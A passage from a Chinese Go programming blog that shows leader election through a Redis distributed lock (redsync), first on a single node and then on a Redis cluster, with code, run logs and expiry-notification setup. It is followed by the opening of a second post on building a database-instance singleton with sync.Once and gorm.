nil 53 } 54 55 func doElectionAndMaintainTheStatus(quit \u0026lt;-chan struct{}) { 56 ticker := time.NewTicker(time.Second * 5) 57 var err error 58 var ok bool 59 var cf func() (bool, error) 60 61 c := goredislib.NewClient(\u0026amp;goredislib.Options{ 62 Addr: \u0026quot;localhost:6379\u0026quot;, 63 }) 64 defer c.Close() 65 for { 66 select { 67 case \u0026lt;-ticker.C: 68 if atomic.LoadInt64(\u0026amp;isLeader) == 0 { 69 ok, cf, err = tryToBecomeLeader() 70 if ok { 71 log.Printf(\u0026quot;prog-%s become leader successfully\\n\u0026quot;, id) 72 atomic.StoreInt64(\u0026amp;isLeader, 1) 73 defer cf() 74 } 75 if !ok || err != nil { 76 log.Printf(\u0026quot;prog-%s try to become leader failed: %s\\n\u0026quot;, id, err) 77 } 78 } else { 79 log.Printf(\u0026quot;prog-%s is the leader\\n\u0026quot;, id) 80 // update the lock live time and maintain the leader status 81 c.Expire(context.Background(), mutexName, 8*time.Second) 82 } 83 case \u0026lt;-quit: 84 return 85 } 86 } 87 } 88 89 func doExpire(quit \u0026lt;-chan struct{}) { 90 // subscribe the expire event of redis 91 c := goredislib.NewClient(\u0026amp;goredislib.Options{ 92 Addr: \u0026quot;localhost:6379\u0026quot;}) 93 defer c.Close() 94 95 ctx := context.Background() 96 pubsub := c.Subscribe(ctx, redisKeyExpiredEventSubj) 97 _, err := pubsub.Receive(ctx) 98 if err != nil { 99 log.Printf(\u0026quot;prog-%s subscribe expire event failed: %s\\n\u0026quot;, id, err) 100 return 101 } 102 log.Printf(\u0026quot;prog-%s subscribe expire event ok\\n\u0026quot;, id) 103 104 // Go channel which receives messages from redis db 105 ch := pubsub.Channel() 106 for { 107 select { 108 case event := \u0026lt;-ch: 109 key := event.Payload 110 if atomic.LoadInt64(\u0026amp;isLeader) == 0 { 111 break 112 } 113 log.Printf(\u0026quot;prog-%s 收到并处理一条过期消息[key:%s]\u0026quot;, id, key) 114 case \u0026lt;-quit: 115 return 116 } 117 } 118 } 119 120 func main() { 121 var wg sync.WaitGroup 122 wg.Add(2) 123 var quit = make(chan struct{}) 124 125 go func() { 126 doElectionAndMaintainTheStatus(quit) 127 wg.Done() 128 }() 129 go func() { 130 doExpire(quit) 131 wg.Done() 132 }() 133 134 c := make(chan os.Signal, 1) 135 signal.Notify(c, syscall.SIGINT, syscall.SIGTERM) 136 _ = \u0026lt;-c 137 close(quit) 138 log.Printf(\u0026quot;recv exit signal...\u0026quot;) 139 wg.Wait() 140 log.Printf(\u0026quot;program exit ok\u0026quot;) 141 } 上面示例代码比较长，但它很完整。我们一点点来看。\n首先，我们看120~141行的main函数结构。在这个函数中，我们创建了两个新goroutine，main goroutine通过sync.WaitGroup等待这两个子goroutine的退出并使用quit channel模式(关于goroutine的并发模式的详解，可以参考我的专栏文章《Go并发模型和常见并发模式》)在收到系统信号(关于signal包的使用，请参见我的专栏文章《小心被kill！不要忽略对系统信号的处理》)后通知两个子goroutine退出。\n接下来，我们逐个看两个子goroutine的执行逻辑。第一个goroutine执行的是doElectionAndMaintainTheStatus函数。该函数会持续尝试去持有分布式锁(tryToBecomeLeader)，一旦持有，它就变成了分布式系统中的leader角色；成为leader角色的副本会保持其角色状态(见81行)。\n尝试持有分布式锁并成为leader是tryToBecomeLeader函数的主要职责，该函数直接使用了redsync包的算法，并利用与redis node建立的连接(NewClient)，尝试建立并持有分布式锁“the-year-of-the-ox-2021”。我们使用的是默认的锁属性，从redsync包的NewMutex方法源码，我们能看到锁默认属性如下：\n// github.com/go-redsync/redsync/redsync.go // NewMutex returns a new distributed mutex with given name. func (r *Redsync) NewMutex(name string, options ...Option) *Mutex { m := \u0026amp;Mutex{ name: name, expiry: 8 * time.Second, tries: 32, delayFunc: func(tries int) time.Duration { return 500 * time.Millisecond }, genValueFunc: genValue, factor: 0.01, quorum: len(r.pools)/2 + 1, pools: r.pools, } for _, o := range options { o.Apply(m) } return m } 我们看到锁有一个过期时间属性(expiry)，过期时间默认仅有8秒。问题来了：一旦锁过期了，那么情况会怎样？事实是一旦锁过期掉，在leader尚未解锁时，其follower也会加锁成功，因为原锁的key已经因过期而被删除掉了。长此以往，整个分布式系统就会存在多个自视为leader的进程，整个处理逻辑就乱了！\n解决这个问题至少可以有三种方案：\n方案1：将锁的expiry设置的很长，长到一旦某个服务持有了锁，不需担心锁过期的问题； 方案2：在所的默认expiry到期之前解锁，所有服务重新竞争锁； 方案3：一旦某个服务持有了锁，则需要定期重设锁的expiry时间，保证锁不会过期，直到该服务主动执行unlock。 方案1的问题在于，一旦持有锁的leader因意外异常退出并且尚未unlock，那么由于锁的过期时间超级长，其他follower依然无法持有锁而变成下一任leader，导致整个分布式系统的leader缺失，业务逻辑无法继续进行；\n方案2其实是基于Redis分布式锁的常规使用方式，但对于像我这里的业务场景，频繁lock和unlock没必要，我只需要保证系统中有一个leader一直在处理过期event即可，在服务间轮流处理并非我的需求。但这个方案是一个可行的方案，代码逻辑清晰也简单。\n方案3则是非常适合我的业务场景的方案，持有锁的leader通过定期(\u0026lt;8s)的更新锁的过期时间来保证锁的有效性，这样避免了leader频繁切换。这里我们就使用了这一方案，见78~82行，我们在定时器的帮助下，定期重新设置了锁的过期时间(8s)。\n在上述示例代码中，我们用一个变量isLeader来标识该服务是否持有了锁，由于该变量被多个goroutine访问和修改，因此我们通过atomic包实现对其的原子访问以避免出现race问题。\n最后，我们说说这段示例承载的业务逻辑(doExpire函数)。真正的业务逻辑由doExpire函数实现。它通过监听redis 0号库的key空间的过期事件实现对目标key的过期处理(这里并未体现这一点)。\nsubscribe的subject字符串为****keyevent@0**:expired**，这个字符串的组成含义可以参考redis官方对notifications的说明，这里的字串表明我们要监听key事件，在0号数据库，事件类型是key过期。\n当在0号数据库有key过期后，我们的订阅channel(105行)就会收到一个事件，通过event的Payload我们可以得到key的名称，后续我们可以根据key的名字来过滤掉我们不关心的key，而仅对期望的key做相应处理。\n在默认配置下， redis的通知功能处于关闭状态。我们需要通过命令或在redis.conf中开启这一功能。\n$redis-cli 127.0.0.1:6379\u0026gt; config set notify-keyspace-events KEx OK 到这里，我们已经搞清楚了上面示例代码的原理，下面我们就来真实运行一次上面的代码，我们编译上面代码并启动三个实例：\n$go build main.go $./main 1 $./main 2 $./main 3 由于**./main 1**先启动，因此第一个启动的服务一般会先成为leader：\n$main 1 2021/02/11 05:43:15 prog-1 subscribe expire event ok 2021/02/11 05:43:20 prog-1 become leader successfully 2021/02/11 05:43:25 prog-1 is the leader 2021/02/11 05:43:30 prog-1 is the leader 而其他两个服务会定期尝试去持有锁：\n$main 2 2021/02/11 05:43:17 prog-2 subscribe expire event ok 2021/02/11 05:43:37 prog-2 try to become leader failed: redsync: failed to acquire lock 2021/02/11 05:43:53 prog-2 try to become leader failed: redsync: failed to acquire lock $main 3 2021/02/11 05:43:18 prog-3 subscribe expire event ok 2021/02/11 05:43:38 prog-3 try to become leader failed: redsync: failed to acquire lock 2021/02/11 05:43:54 prog-3 try to become leader failed: redsync: failed to acquire lock 这时我们通过redis-cli在0号数据库中创建一个key1，过期时间5s：\n$redis-cli 127.0.0.1:6379\u0026gt; setex key1 5 value1 OK 5s后，我们会在prog-1这个服务实例的输出日志中看到如下内容：\n2021/02/11 05:43:50 prog-1 is the leader 2021/02/11 05:43:53 prog-1 收到并处理一条过期消息[key:key1] 2021/02/11 05:43:55 prog-1 is the leader 接下来，我们停掉prog-1：\n2021/02/11 05:44:00 prog-1 is the leader ^C2021/02/11 05:44:01 recv exit signal... redis: 2021/02/11 05:44:01 pubsub.go:168: redis: discarding bad PubSub connection: read tcp [::1]:56594-\u0026gt;[::1]:6379: use of closed network connection 2021/02/11 05:44:01 program exit ok 在停掉prog-1后的瞬间，prog-2成功持有了锁，并成为leader：\n2021/02/11 05:44:01 prog-2 become leader successfully 2021/02/11 05:44:01 prog-2 is the leader 我们再通过redis-cli在0号数据库中创建一个key2，过期时间5s：\n$redis-cli 127.0.0.1:6379\u0026gt; setex key2 5 value2 OK 5s后，我们会在prog-2这个服务实例的输出日志中看到如下内容：\n2021/02/11 05:44:17 prog-2 is the leader 2021/02/11 05:44:19 prog-2 收到并处理一条过期消息[key:key2] 2021/02/11 05:44:22 prog-2 is the leader 从运行的结果来看，该分布式系统的运行逻辑是符合我们的设计预期的。\n2. 基于redis集群的分布式锁 上面，我们实现了基于单个redis节点的分布式锁的选主功能。在生产环境，我们很少会使用单节点的Redis，通常会使用Redis集群以保证高可用性。\n最新的redsync已经支持了redis cluster(基于go-redis)。和单节点唯一不同的是，我们传递给redsync的pool所使用的与redis的连接由Client类型变为了ClusterClient类型：\n// github.com/bigwhite/experiments/blob/master/redis-cluster-distributed-lock/cluster/v1/main.go const ( redisClusterMasters = \u0026quot;localhost:30001,localhost:30002,localhost:30003\u0026quot; ) func main() { ... ... client := goredislib.NewClusterClient(\u0026amp;goredislib.ClusterOptions{ Addrs: strings.Split(redisClusterMasters, \u0026quot;,\u0026quot;)}) defer client.Close() ... ... } 我们在本地启动的redis cluster，三个master的地址分别为：localhost:30001、localhost:30002和localhost:30003。我们将master的地址组成一个逗号分隔的常量redisClusterMasters。\n我们对上面单节点的代码做了改进，将Redis连接的创建放在了main中，并将client连接作为参数传递给各个goroutine的运行函数。下面是cluster版示例代码完整版(v1)：\n// github.com/bigwhite/experiments/blob/master/redis-cluster-distributed-lock/cluster/v1/main.go 1 package main 2 3 import ( 4 \u0026quot;context\u0026quot; 5 \u0026quot;log\u0026quot; 6 \u0026quot;os\u0026quot; 7 \u0026quot;os/signal\u0026quot; 8 \u0026quot;strings\u0026quot; 9 \u0026quot;sync\u0026quot; 10 \u0026quot;sync/atomic\u0026quot; 11 \u0026quot;syscall\u0026quot; 12 \u0026quot;time\u0026quot; 13 14 goredislib \u0026quot;github.com/go-redis/redis/v8\u0026quot; 15 \u0026quot;github.com/go-redsync/redsync/v4\u0026quot; 16 \u0026quot;github.com/go-redsync/redsync/v4/redis/goredis/v8\u0026quot; 17 ) 18 19 const ( 20 redisKeyExpiredEventSubj = `__keyevent@0__:expired` 21 redisClusterMasters = \u0026quot;localhost:30001,localhost:30002,localhost:30003\u0026quot; 22 ) 23 24 var ( 25 isLeader int64 26 m atomic.Value 27 id string 28 mutexName = \u0026quot;the-year-of-the-ox-2021\u0026quot; 29 ) 30 31 func init() { 32 if len(os.Args) \u0026lt; 2 { 33 panic(\u0026quot;args number is not correct\u0026quot;) 34 } 35 id = os.Args[1] 36 } 37 38 func tryToBecomeLeader(client *goredislib.ClusterClient) (bool, func() (bool, error), error) { 39 pool := goredis.NewPool(client) 40 rs := redsync.New(pool) 41 42 mutex := rs.NewMutex(mutexName) 43 44 if err := mutex.Lock(); err != nil { 45 return false, nil, err 46 } 47 48 return true, func() (bool, error) { 49 return mutex.Unlock() 50 }, nil 51 } 52 53 func doElectionAndMaintainTheStatus(c *goredislib.ClusterClient, quit \u0026lt;-chan struct{}) { 54 ticker := time.NewTicker(time.Second * 5) 55 var err error 56 var ok bool 57 var cf func() (bool, error) 58 59 for { 60 select { 61 case \u0026lt;-ticker.C: 62 if atomic.LoadInt64(\u0026amp;isLeader) == 0 { 63 ok, cf, err = tryToBecomeLeader(c) 64 if ok { 65 log.Printf(\u0026quot;prog-%s become leader successfully\\n\u0026quot;, id) 66 atomic.StoreInt64(\u0026amp;isLeader, 1) 67 defer cf() 68 } 69 if !ok || err != nil { 70 log.Printf(\u0026quot;prog-%s try to become leader failed: %s\\n\u0026quot;, id, err) 71 } 72 } else { 73 log.Printf(\u0026quot;prog-%s is the leader\\n\u0026quot;, id) 74 // update the lock live time and maintain the leader status 75 c.Expire(context.Background(), mutexName, 8*time.Second) 76 } 77 case \u0026lt;-quit: 78 return 79 } 80 } 81 } 82 83 func doExpire(c *goredislib.ClusterClient, quit \u0026lt;-chan struct{}) { 84 // subscribe the expire event of redis 85 ctx := context.Background() 86 pubsub := c.Subscribe(ctx, redisKeyExpiredEventSubj) 87 _, err := pubsub.Receive(ctx) 88 if err != nil { 89 log.Printf(\u0026quot;prog-%s subscribe expire event failed: %s\\n\u0026quot;, id, err) 90 return 91 } 92 log.Printf(\u0026quot;prog-%s subscribe expire event ok\\n\u0026quot;, id) 93 94 // Go channel which receives messages from redis db 95 ch := pubsub.Channel() 96 for { 97 select { 98 case event := \u0026lt;-ch: 99 key := event.Payload 100 if atomic.LoadInt64(\u0026amp;isLeader) == 0 { 101 break 102 } 103 log.Printf(\u0026quot;prog-%s 收到并处理一条过期消息[key:%s]\u0026quot;, id, key) 104 case \u0026lt;-quit: 105 return 106 } 107 } 108 } 109 110 func main() { 111 var wg sync.WaitGroup 112 wg.Add(2) 113 var quit = make(chan struct{}) 114 client := goredislib.NewClusterClient(\u0026amp;goredislib.ClusterOptions{ 115 Addrs: strings.Split(redisClusterMasters, \u0026quot;,\u0026quot;)}) 116 defer client.Close() 117 118 go func() { 119 doElectionAndMaintainTheStatus(client, quit) 120 wg.Done() 121 }() 122 go func() { 123 doExpire(client, quit) 124 wg.Done() 125 }() 126 127 c := make(chan os.Signal, 1) 128 signal.Notify(c, syscall.SIGINT, syscall.SIGTERM) 129 _ = \u0026lt;-c 130 close(quit) 131 log.Printf(\u0026quot;recv exit signal...\u0026quot;) 132 wg.Wait() 133 log.Printf(\u0026quot;program exit ok\u0026quot;) 134 } 和单一节点一样，我们运行三个服务实例：\n$go build main.go $main 1 2021/02/11 09:49:16 prog-1 subscribe expire event ok 2021/02/11 09:49:22 prog-1 become leader successfully 2021/02/11 09:49:26 prog-1 is the leader 2021/02/11 09:49:31 prog-1 is the leader 2021/02/11 09:49:36 prog-1 is the leader ... ... $main 2 2021/02/11 09:49:19 prog-2 subscribe expire event ok 2021/02/11 09:49:40 prog-2 try to become leader failed: redsync: failed to acquire lock 2021/02/11 09:49:55 prog-2 try to become leader failed: redsync: failed to acquire lock ... ... $main 3 2021/02/11 09:49:31 prog-3 subscribe expire event ok 2021/02/11 09:49:52 prog-3 try to become leader failed: redsync: failed to acquire lock 2021/02/11 09:50:07 prog-3 try to become leader failed: redsync: failed to acquire lock ... ... 我们看到基于Redis集群版的分布式锁也生效了！prog-1成功持有锁并成为leader! 接下来我们再来看看对过期key事件的处理！\n我们通过下面命令让redis-cli连接到集群中的所有节点并设置每个节点开启key空间的事件通知：\n三主： $redis-cli -c -h localhost -p 30001 localhost:30001\u0026gt; config set notify-keyspace-events KEx OK $redis-cli -c -h localhost -p 30002 localhost:30002\u0026gt; config set notify-keyspace-events KEx OK $redis-cli -c -h localhost -p 30003 localhost:30003\u0026gt; config set notify-keyspace-events KEx OK 三从： $redis-cli -c -h localhost -p 30004 localhost:30004\u0026gt; config set notify-keyspace-events KEx OK $redis-cli -c -h localhost -p 30005 localhost:30005\u0026gt; config set notify-keyspace-events KEx OK $redis-cli -c -h localhost -p 30006 localhost:30006\u0026gt; config set notify-keyspace-events KEx OK 在node1节点上，我们set一个有效期为5s的key：key1：\nlocalhost:30001\u0026gt; setex key1 5 value1 -\u0026gt; Redirected to slot [9189] located at 127.0.0.1:30002 OK 等待5s后，我们的leader：prog-1并没有如预期那样受到expire通知！ 这是怎么回事呢？追本溯源，我们查看一下redis官方文档关于notifications的说明，我们在文档最后一段找到如下描述：\nEvents in a cluster Every node of a Redis cluster generates events about its own subset of the keyspace as described above. However, unlike regular Pub/Sub communication in a cluster, events' notifications are not broadcasted to all nodes. Put differently, keyspace events are node-specific. This means that to receive all keyspace events of a cluster, clients need to subscribe to each of the nodes. 这段话大致意思是Redis集群中的每个redis node都有自己的keyspace，事件通知不会被广播到集群内的所有节点，即keyspace的事件是node相关的。如果要接收一个集群中的所有keyspace的event，那客户端就需要Subcribe集群内的所有节点。我们来改一下代码，形成v2版(考虑到篇幅就不列出所有代码了，仅列出相对于v1版变化的代码)：\n// github.com/bigwhite/experiments/blob/master/redis-cluster-distributed-lock/cluster/v2/main.go ... ... 19 const ( 20 redisKeyExpiredEventSubj = `__keyevent@0__:expired` 21 redisClusterMasters = \u0026quot;localhost:30001,localhost:30002,localhost:30003,localhost:30004,localhost:30005,localhost:30006\u0026quot; 22 ) ... ... 83 func doExpire(quit \u0026lt;-chan struct{}) { 84 var ch = make(chan *goredislib.Message) 85 nodes := strings.Split(redisClusterMasters, \u0026quot;,\u0026quot;) 86 87 for _, node := range nodes { 88 node := node 89 go func(quit \u0026lt;-chan struct{}) { 90 c := goredislib.NewClient(\u0026amp;goredislib.Options{ 91 Addr: node}) 92 defer c.Close() 93 94 // subscribe the expire event of redis 95 ctx := context.Background() 96 pubsub := c.Subscribe(ctx, redisKeyExpiredEventSubj) 97 _, err := pubsub.Receive(ctx) 98 if err != nil { 99 log.Printf(\u0026quot;prog-%s subscribe expire event of node[%s] failed: %s\\n\u0026quot;, 100 id, node, err) 101 return 102 } 103 log.Printf(\u0026quot;prog-%s subscribe expire event of node[%s] ok\\n\u0026quot;, id, node) 104 105 // Go channel which receives messages from redis db 106 pch := pubsub.Channel() 107 108 for { 109 select { 110 case event := \u0026lt;-pch: 111 ch \u0026lt;- event 112 case \u0026lt;-quit: 113 return 114 } 115 } 116 }(quit) 117 } 118 for { 119 select { 120 case event := \u0026lt;-ch: 121 key := event.Payload 122 if atomic.LoadInt64(\u0026amp;isLeader) == 0 { 123 break 124 } 125 log.Printf(\u0026quot;prog-%s 收到并处理一条过期消息[key:%s]\u0026quot;, id, key) 126 case \u0026lt;-quit: 127 return 128 } 129 } 130 } 131 132 func main() { 133 var wg sync.WaitGroup 134 wg.Add(2) 135 var quit = make(chan struct{}) 136 client := goredislib.NewClusterClient(\u0026amp;goredislib.ClusterOptions{ 137 Addrs: strings.Split(redisClusterMasters, \u0026quot;,\u0026quot;)}) 138 defer client.Close() 139 140 go func() { 141 doElectionAndMaintainTheStatus(client, quit) 142 wg.Done() 143 }() 144 go func() { 145 doExpire(quit) 146 wg.Done() 147 }() 148 149 c := make(chan os.Signal, 1) 150 signal.Notify(c, syscall.SIGINT, syscall.SIGTERM) 151 _ = \u0026lt;-c 152 close(quit) 153 log.Printf(\u0026quot;recv exit signal...\u0026quot;) 154 wg.Wait() 155 log.Printf(\u0026quot;program exit ok\u0026quot;) 156 } 在这个新版代码中，我们在每个新goroutine中实现对redis一个节点的Subscribe，并将收到的Event notifications通过“扇入”模式(更多关于并发扇入模式的内容，可以参考我的Go技术专栏文章《Go并发模型和常见并发模式》)统一写入到运行doExpire的goroutine中做统一处理。\n我们再来运行一下这个示例，并在不同时机创建多个key来验证通知接收和处理的效果：\n$main 1 2021/02/11 10:29:21 prog-1 subscribe expire event of node[localhost:30004] ok 2021/02/11 10:29:21 prog-1 subscribe expire event of node[localhost:30001] ok 2021/02/11 10:29:21 prog-1 subscribe expire event of node[localhost:30006] ok 2021/02/11 10:29:21 prog-1 subscribe expire event of node[localhost:30002] ok 2021/02/11 10:29:21 prog-1 subscribe expire event of node[localhost:30003] ok 2021/02/11 10:29:21 prog-1 subscribe expire event of node[localhost:30005] ok 2021/02/11 10:29:26 prog-1 become leader successfully 2021/02/11 10:29:31 prog-1 is the leader 2021/02/11 10:29:36 prog-1 is the leader 2021/02/11 10:29:41 prog-1 is the leader 2021/02/11 10:29:46 prog-1 is the leader 2021/02/11 10:29:47 prog-1 收到并处理一条过期消息[key:key1] 2021/02/11 10:29:51 prog-1 is the leader 2021/02/11 10:29:51 prog-1 收到并处理一条过期消息[key:key2] 2021/02/11 10:29:56 prog-1 收到并处理一条过期消息[key:key3] 2021/02/11 10:29:56 prog-1 is the leader 2021/02/11 10:30:01 prog-1 is the leader 2021/02/11 10:30:06 prog-1 is the leader ^C2021/02/11 10:30:08 recv exit signal... $main 3 2021/02/11 10:29:27 prog-3 subscribe expire event of node[localhost:30004] ok 2021/02/11 10:29:27 prog-3 subscribe expire event of node[localhost:30006] ok 2021/02/11 10:29:27 prog-3 subscribe expire event of node[localhost:30002] ok 2021/02/11 10:29:27 prog-3 subscribe expire event of node[localhost:30001] ok 2021/02/11 10:29:27 prog-3 subscribe expire event of node[localhost:30005] ok 2021/02/11 10:29:27 prog-3 subscribe expire event of node[localhost:30003] ok 2021/02/11 10:29:48 prog-3 try to become leader failed: redsync: failed to acquire lock 2021/02/11 10:30:03 prog-3 try to become leader failed: redsync: failed to acquire lock 2021/02/11 10:30:08 prog-3 become leader successfully 2021/02/11 10:30:08 prog-3 is the leader 2021/02/11 10:30:12 prog-3 is the leader 2021/02/11 10:30:17 prog-3 is the leader 2021/02/11 10:30:22 prog-3 is the leader 2021/02/11 10:30:23 prog-3 收到并处理一条过期消息[key:key4] 2021/02/11 10:30:27 prog-3 is the leader ^C2021/02/11 10:30:28 recv exit signal... $main 2 2021/02/11 10:29:24 prog-2 subscribe expire event of node[localhost:30005] ok 2021/02/11 10:29:24 prog-2 subscribe expire event of node[localhost:30006] ok 2021/02/11 10:29:24 prog-2 subscribe expire event of node[localhost:30003] ok 2021/02/11 10:29:24 prog-2 subscribe expire event of node[localhost:30004] ok 2021/02/11 10:29:24 prog-2 subscribe expire event of node[localhost:30002] ok 2021/02/11 10:29:24 prog-2 subscribe expire event of node[localhost:30001] ok 2021/02/11 10:29:45 prog-2 try to become leader failed: redsync: failed to acquire lock 2021/02/11 10:30:01 prog-2 try to become leader failed: redsync: failed to acquire lock 2021/02/11 10:30:16 prog-2 try to become leader failed: redsync: failed to acquire lock 2021/02/11 10:30:28 prog-2 become leader successfully 2021/02/11 10:30:28 prog-2 is the leader 2021/02/11 10:30:29 prog-2 is the leader 2021/02/11 10:30:34 prog-2 is the leader 2021/02/11 10:30:39 prog-2 收到并处理一条过期消息[key:key5] 2021/02/11 10:30:39 prog-2 is the leader ^C2021/02/11 10:30:41 recv exit signal... 这个运行结果如预期！\n不过这个方案显然也不是那么理想，毕竟我们要单独Subscribe每个集群内的redis节点，目前没有理想方案，除非redis cluster支持带广播的Event notification。\n以上示例代码可以在这里 https://github.com/bigwhite/experiments/tree/master/redis-cluster-distributed-lock 下载 。\n“Gopher部落”知识星球开球了！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/02/13/operate-with-shared-resources-in-a-mutually-exclusive-way-through-distributed-lock-implemented-by-redis-cluster/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-and-distributed-lock-implemented-by-redis-cluster-0.png\"\u003e\u003c/p\u003e\n\u003cp\u003e今天要说的技术方案也是有一定项目背景的。在上一个项目中，我们需要对一个redis集群中过期的key进行处理，这是一个分布式\u003cbr\u003e\n系统，考虑到高可用性，需要具备过期处理功能的服务有多个副本，这样我们就要求在同一时间内仅有一个副本可以对过期的key\u0026gt;进行处理，如果该副本挂掉，系统会在其他副本中再挑选出一个来处理过期的key。\u003c/p\u003e","title":"基于Redis Cluster的分布式锁实现以互斥方式操作共享资源"},{"content":"\n在屡次的Go用户调查中，使用Go语言进行Web服务/API开发都占据了Go语言用途调查结果的头部位置。下面是知名Go IDE goland的母公司JetBrains最新发布的Go当前状态报告(2021.2.3)中的截图：\n开发Web或API服务，难免会与数据库打交道。如今创建数据库实例并访库的技术已经是很成熟了，于是就有了下面这样的程序结构：\n上面这个图片中，Web服务中的每个要与数据库进行数据交互的包都是自己创建并使用数据库实例，这显然是一种糟糕的设计，它不仅让每个包都耦合外部的第三方数据包，每个包还担负起管理数据库连接的责任，并且在Web服务的整个项目中，还会存在多处获取数据库连接配置、打开关闭数据库等的重复代码。一旦数据库访问代码发生变化，这些包就都得修改一遍。\n那么如何优化呢？一个很自然的想法：将创建数据库实例以及对数据库实例的获取封装到一个包中，其他包无需再关心数据库实例的创建与释放，直接获取和使用实例即可，如下面示意图：\n从这段描述来看，这显然是单件(singleton，亦翻译为单例)这个“创建型”模式的应用场景。在这里我们给出一个用Go实现的以单件方式创建和获取数据库实例的demo。\nGo语言标准库提供了sync.Once类型，这让Go实现单件模式变得天然简单了。为了模拟上述场景，我们先来描述一下demo项目的结构：\ndatabase-singleton ├── Makefile ├── cmd │ └── main │ └── main.go ├── conf │ └── database.conf ├── go.mod ├── go.sum └── pkg ├── config │ └── config.go ├── db │ └── db.go ├── model │ └── employee.go ├── reader │ └── reader.go └── updater └── updater.go 在database-singleton这个repo中：\npkg/db就是我们将数据库实例的创建和获取封装到单件中的实现； pkg/reader和pkg/updater则模拟了两个通过单件获取数据库实例并分别读取和更新数据库的包； pkg/config是数据库连接配置的读取包。关于go程序的配置读取方案的一些方案，可以参考我的《写Go代码时遇到的那些问题[第1期]》一文。 我们从cmd/main/main.go中，可以看到整个程序的运行结构：\n// github.com/bigwhite/experiments/blob/master/database-singleton/cmd/main/main.go package main import ( \u0026quot;log\u0026quot; \u0026quot;os\u0026quot; \u0026quot;os/signal\u0026quot; \u0026quot;sync\u0026quot; \u0026quot;syscall\u0026quot; \u0026quot;github.com/bigwhite/testdboper/pkg/config\u0026quot; \u0026quot;github.com/bigwhite/testdboper/pkg/db\u0026quot; \u0026quot;github.com/bigwhite/testdboper/pkg/reader\u0026quot; \u0026quot;github.com/bigwhite/testdboper/pkg/updater\u0026quot; ) func init() { err := config.Init() if err != nil { panic(err) } } func main() { var wg sync.WaitGroup wg.Add(2) var quit = make(chan struct{}) // do some init from db _ = db.DB() go func() { updater.Run(quit) wg.Done() }() go func() { reader.Run(quit) wg.Done() }() c := make(chan os.Signal, 1) signal.Notify(c, syscall.SIGINT, syscall.SIGTERM) _ = \u0026lt;-c close(quit) log.Printf(\u0026quot;recv exit signal...\u0026quot;) wg.Wait() log.Printf(\u0026quot;program exit ok\u0026quot;) } 简单解释一下上面main.go中的代码：\n在init函数中，我们读取了用于整个程序的配置信息，主要是数据库的连接信息(ip、port、user、password等)； 我们启动了两个独立的goroutine，分别运行reader和updater两个模拟数据库读写场景的包； 我们使用quit channel通知两个goroutine退出，并使用sync.WaitGroup来等待两个goroutine的结束(关于goroutine的并发模式的详解，可以参考我的专栏文章《Go并发模型和常见并发模式》； 我们使用signal.Notify监听系统信号，并在收到系统信号后做出响应（关于signal包的使用，请参见我的专栏文章《小心被kill！不要忽略对系统信号的处理》）。 在main函数代码中，我们看到了如下调用：\n// do some init from db _ = db.DB() 这是在初始化的时候通过单件获取访问数据库的对象实例，但这个不是必须的，只有在初始化需要从数据库读取一些信息时才会用到。\n接下来，我们就来看看创建数据库访问实例的单件是如何实现的：\n// github.com/bigwhite/experiments/blob/master/database-singleton/pkg/db/db.go package db import ( \u0026quot;fmt\u0026quot; \u0026quot;sync\u0026quot; \u0026quot;time\u0026quot; \u0026quot;github.com/bigwhite/testdboper/pkg/config\u0026quot; \u0026quot;github.com/jinzhu/gorm\u0026quot; _ \u0026quot;github.com/jinzhu/gorm/dialects/mysql\u0026quot; ) var once sync.Once type database struct { instance *gorm.DB maxIdle int maxOpen int maxLifetime time.Duration } type Option func(db *database) var db *database func WithMaxIdle(maxIdle int) Option { return func(d *database) { d.maxIdle = maxIdle } } func WithMaxOpen(maxOpen int) Option { return func(d *database) { d.maxOpen = maxOpen } } func DB(opts ...Option) *gorm.DB { once.Do(func() { db = new(database) for _, f := range opts { f(db) } dsn := fmt.Sprintf(\u0026quot;%s:%s@tcp(%s:%s)/%s?charset=utf8\u0026amp;parseTime=True\u0026amp;loc=Local\u0026quot;, config.Config.Database.User, config.Config.Database.Password, config.Config.Database.IP, config.Config.Database.Port, config.Config.Database.DB) var err error db.instance, err = gorm.Open(\u0026quot;mysql\u0026quot;, dsn) // database: *gorm.DB if err != nil { panic(err) } sqlDB := db.instance.DB() if err != nil { panic(err) } if db.maxIdle != 0 { sqlDB.SetMaxIdleConns(db.maxIdle) } if db.maxLifetime != 0 { sqlDB.SetConnMaxLifetime(db.maxLifetime) } if db.maxOpen != 0 { sqlDB.SetMaxOpenConns(db.maxOpen) } }) return db.instance } 首先，上述代码使用sync.Once对象辅助实现单件模式，传给once.Do方法的函数在整个程序生命周期中执行且只执行一次。我们就是在这个函数中创建的数据库访问实例； 这里我们使用gorm库承担访问数据库的任务，因此所谓的实例，即gorm.DB类型的指针； gorm.DB类型是并发安全的，我们无需考虑单件返回的实例的并发访问问题； 